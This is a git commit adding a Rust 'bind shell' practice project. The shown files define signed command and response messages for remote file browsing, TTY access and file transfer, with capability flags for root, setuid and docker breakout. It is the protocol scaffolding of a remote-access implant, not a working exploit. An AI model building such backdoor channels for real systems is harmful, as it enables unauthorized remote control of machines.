feat: adding a bind shell example with more stuff

adding a bind shell that can allow for more practice with future
features such as multiple transports, encryption, transferring files,
and a more robust client interface
This commit is contained in:
Andrew Rioux
2023-09-02 14:32:34 -04:00
parent 180b29531a
commit aecf1c9b80
21 changed files with 878 additions and 37 deletions

View File

@@ -0,0 +1,11 @@
[package]
name = "sparse-05-common"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
ed25519-dalek = { version = "1.0.1", features = ["serde"] }
rand = "0.7"
serde = { version = "1.0.188", features = ["derive"] }

View File

@@ -0,0 +1,93 @@
pub const CONFIG_SEPARATOR: &'static [u8] =
b"79101092eb6a40268337875896f1009da0af4fe4ae0d4c67834c54fe735f1763";
pub mod messages {
pub const CONNECT_MESSAGE: &'static [u8] = b"CONNECT";
use std::{ffi::OsString, path::PathBuf};
use ed25519_dalek::Signature;
use serde::{Deserialize, Serialize};
#[derive(Serialize, Deserialize)]
pub struct CommandWrapper {
sig: Signature,
command: Vec<u8>,
}
#[derive(Serialize, Deserialize)]
pub enum Command {
SendData(Vec<u8>),
Cd(PathBuf),
Ls(PathBuf),
OpenTTY,
CloseTTY,
StartUploadFile(PathBuf, u64),
SendFileSegment(u64, u64, Vec<u8>),
StartDownloadFile(PathBuf, u64),
DownloadFileStatus(Result<(), Vec<u8>>),
}
#[derive(Serialize, Deserialize)]
pub enum FileType {
File,
Dir,
Symlink(PathBuf),
Fifo,
Socket,
Block,
Char,
}
#[derive(Serialize, Deserialize)]
pub struct UnixMetadata {
pub mode: u32,
pub uid: u32,
pub gid: u32,
pub ctime: i64,
pub mtime: i64,
}
#[derive(Serialize, Deserialize)]
pub struct DirEntry {
pub name: OsString,
pub size: u64,
pub unix: Option<UnixMetadata>,
}
#[derive(Serialize, Deserialize)]
pub enum Response {
Connected(Capabilities),
SendData(Vec<u8>),
CdDone,
LsResults(Vec<DirEntry>),
OpenedTTY,
ClosedTTY,
UploadFileID(u64),
UploadFileStatus(Result<(), Vec<u8>>),
DownloadFileSegment(u64, u64, Vec<u8>),
}
#[derive(Serialize, Deserialize, Debug)]
pub enum TransportType {
RawUdp,
Udp,
}
#[derive(Serialize, Deserialize, Debug)]
pub struct Capabilities {
pub docker_container: bool,
pub docker_breakout: bool,
pub setuid: bool,
pub root: bool,
pub transport: TransportType,
}
}